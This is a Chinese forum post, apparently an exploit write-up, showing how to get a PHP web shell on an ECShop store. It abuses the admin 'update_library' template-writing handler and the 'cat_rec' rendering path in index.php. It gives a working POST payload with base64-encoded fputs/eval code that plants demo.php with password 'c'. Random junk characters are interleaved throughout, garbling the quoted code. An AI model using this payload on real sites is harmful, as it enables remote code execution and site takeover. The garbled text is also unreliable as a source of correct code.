首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板% }% I0 n' \- ?/ n
) g( d: A% g- u2 Y而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了5 |9 v1 G7 a" x% W; P# l8 K4 ?
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
9 x7 `, e' i: n9 @admin/template.php
% O- ?* R+ X! A: p' C. V/ y8 o1 K! C# X
1 if ($_REQUEST['act'] == 'update_library') 0 a7 X$ @" B6 F! A7 C: F
1 m5 D3 V1 a- W7 B X; l
2
9 O1 w9 X" o; H6 W5 J" y" a
0 j6 Q Q( X! A1 | ^! X3 { $ i( P d6 o4 q% O+ e) g; ]9 s' w
" W- m9 m/ b+ j* \
4 check_authz_json('library_manage');
# J" o$ I3 y' \' a# g
8 K6 M9 e' \- f0 K5 ' c9 j9 Y! X* h
8 c6 R, Q0 o0 \" `+ x6 u
6 $html = stripslashes(json_str_iconv($_POST['html']));
. j* D, b: m! n8 u5 C: d' h
& h- O) |) X" i1 O7 2 r: A3 a) H) C i
. `- | R9 ?2 ]2 k2 U( \8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
/ h8 O* m! }, D. c& A+ h! r0 r, d
8 V% q% n; r4 l" t+ E) V9 & l( j. V5 |- E# q8 `& O4 Q8 i. m
: b' u% \ H% T; R% H# V; W8 ]
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
; _5 ?3 U% r$ M2 q; r# [, E& S N# P8 A1 g, t6 K; N( H
11
6 X9 J( ^( Z3 X4 M0 N' w+ x6 {7 g4 G* Y1 v- V- F
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); , G* E9 \1 x7 N5 ]" B, L F
P9 g9 a0 T) A3 i6 B5 ^
13 % B, f& x9 Y" w+ o6 A7 p5 _1 f
' R# T9 i' ^" X" g$ o
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 $ d1 ?0 Q5 M; O5 d
+ x9 j2 p3 E+ Q15 {
$ h! {4 }6 x8 H+ I1 ]6 O- D/ E' G2 c* M8 y
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); , g6 s/ V/ q: Y8 {
! P' R% \" @7 i
17 make_json_result('', $_LANG['update_lib_success']);
3 [1 Q/ b0 f! O, J' ~! }, N
4 B8 g: j. D" C* U' ?; `. a9 w18 }
. T% h _" F' W% f7 t) X# n* u2 L0 Y- c: Y; M/ p7 ^. V
19 else
. v- S, ~3 | C6 d" C5 h- \$ f$ C; Y
20 {
; C" @2 W" B; w D0 x; A E5 ^4 Q( D6 C
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
" w; H* H4 {# G" ? u2 K6 K6 ?8 O: m, D1 @/ J: e3 d9 m! m6 N
22 } 1 k0 x& M: x# v: `
7 x% E# `( U" t2 G( F$ V/ n1 h2 x+ q
23 }
9 s8 R2 q$ k2 Q1 J# k1 m+ k1 M) t X# A5 g- ]4 ~3 L+ [7 S) j0 U8 m
那么找个比较方便调用了模板的文件
q7 a! D2 D9 K' o2 s$ j$ @3 [1 Uindex.php
/ ]; X( }! x9 x X4 U. N3 d$ r8 t4 k. m9 B/ X
1 if ($act == 'cat_rec') 9 C$ u4 m- y( e
9 Q# ~1 q$ _: T, J, V7 H2
- I' c/ H* q( U1 E0 B i' }, ]4 W w& [# m" ~+ [
3 {
! [2 U. A) }. U) n, b( C! w% ]# B W) H/ x0 a
4
, w. s) i3 {+ v% h+ r; f) J; w; M# Z' w( }* H0 F
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); . N7 d% c/ N% t2 w9 K( I
# v* |6 I! v- }8 y V
6
3 L; q( Q# A) ^8 [ B
) ?& T. C L! N& m' d" S7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 6 [- w8 W" }$ y* L
# M5 I- s7 ]' Z# g" I/ D8 $ C- Q H& n0 V3 P4 ?5 q
4 e( o3 g9 Q8 \* W5 C+ V
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
" c+ n4 [: K1 P* |9 z' B% G
6 Y8 G9 D* U& E* K+ P10
8 x& B6 L0 |: C( H) T) j; p- L5 I% |% q6 F. P0 H
11 include_once('includes/cls_json.php'); . K& Z7 m* V& X8 E* S @0 f
, T7 m# D* b8 i2 [7 @! X
12
0 H! W6 w7 X' r" s7 P
! d9 Y0 p: E/ V- q: B' U13 $json = new JSON;
: f8 B! X2 b4 P) F& d5 t" f! I- X! s& {' B8 u4 I' @% e$ ]
14
7 G& N5 i. ^: G: I& \/ Y1 n
; ?, L7 _7 V* @% ^15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); $ Z7 v6 Q# y/ j* f
. x! `7 h& D+ _16
% g; K5 V, `/ X- Q. Z5 p7 g% t/ s/ t6 Z4 }
17 $children = get_children($cat_id);
$ N9 L$ n- j! w" l3 r! O3 ~3 m# S! k, L9 ^! d
18 : v' c; H. A4 k% e4 a2 z
- U3 i- D- D1 N5 ~$ ?" k8 F
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 1 W* f: \$ y% \
0 h2 D3 S: a/ P! Z20
8 d0 N) R+ z+ d. I! f
# j- f4 |3 g. j: P* O0 x21 $smarty->assign('cat_rec_sign', 1);
0 Z6 [1 `) K! r% G& R6 [7 [9 M4 Z t' C5 k# ~+ P. u' n& J3 l2 n$ R: n
22
. T( Z4 [2 [& J. F: f- \" m+ C2 @, ~/ u) _* V3 W
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
+ f" ]% E5 w; m6 ?7 _6 e) ?
% b: V( @, ^. M4 z% x1 Z24
6 r! R# d& E4 s& I- I4 I7 ^$ F$ t4 W
6 v0 |9 @" {2 \7 q; q1 H3 [25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 5 @0 |1 a/ c* B7 p
! G) r; i7 w2 ?1 P* B7 `% K
26
x* w' Z% I/ F' W
r4 w9 z9 J8 K0 L0 i27 echo $rec_array[$rec_type]; * h) H1 ?. @: V& [
9 _3 F5 m! z. I2 ` A# I( v
28 ( \& Y: D2 ~% B1 c
3 {; p, l t) G7 h! ^; }( M6 `) w29 die($json->encode($result));
1 R2 P0 `1 m- {2 T3 U
* y% L5 D2 d- A2 S, a) {' P8 M30
1 i: X1 c6 b4 J- l* Q% S& v' c+ Z0 X; S0 d0 ~$ m) w/ O9 ~! K
31 } 1 F& S5 ^- W6 |6 I" o' l) G6 P
' A8 k( P- x3 t) c2 g7 z- X, ~那么就有利用方法了3 Q6 t( @) T3 d9 T7 \8 ^
post包到http://localhost/ec/admin/template.php?act=update_library
2 |. L7 w/ \3 }& `, WPost内容:6 F- ^: p/ S: ?; x r
' \; e' c# h0 f6 C- ^( j$ o
# \5 U) O, G9 Q3 M% x0 n: E3 y1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
) C9 l4 B1 g: H* }8 A+ l! ?. x
" w3 d( q+ j8 Q. O4 c z) |0 C然后访问http://localhost/ec/index.php?act=cat_rec
, E1 s$ L2 U; M/ ^
8 G# U8 e# Q9 q Yshel地址:http://localhost/ec/demo.php
( q! Z8 Y+ U' S2 e密码c
, T% d5 G+ k& x1 d/ v) q/ I/ r* b1 \. Y$ ?8 G* e, Y
|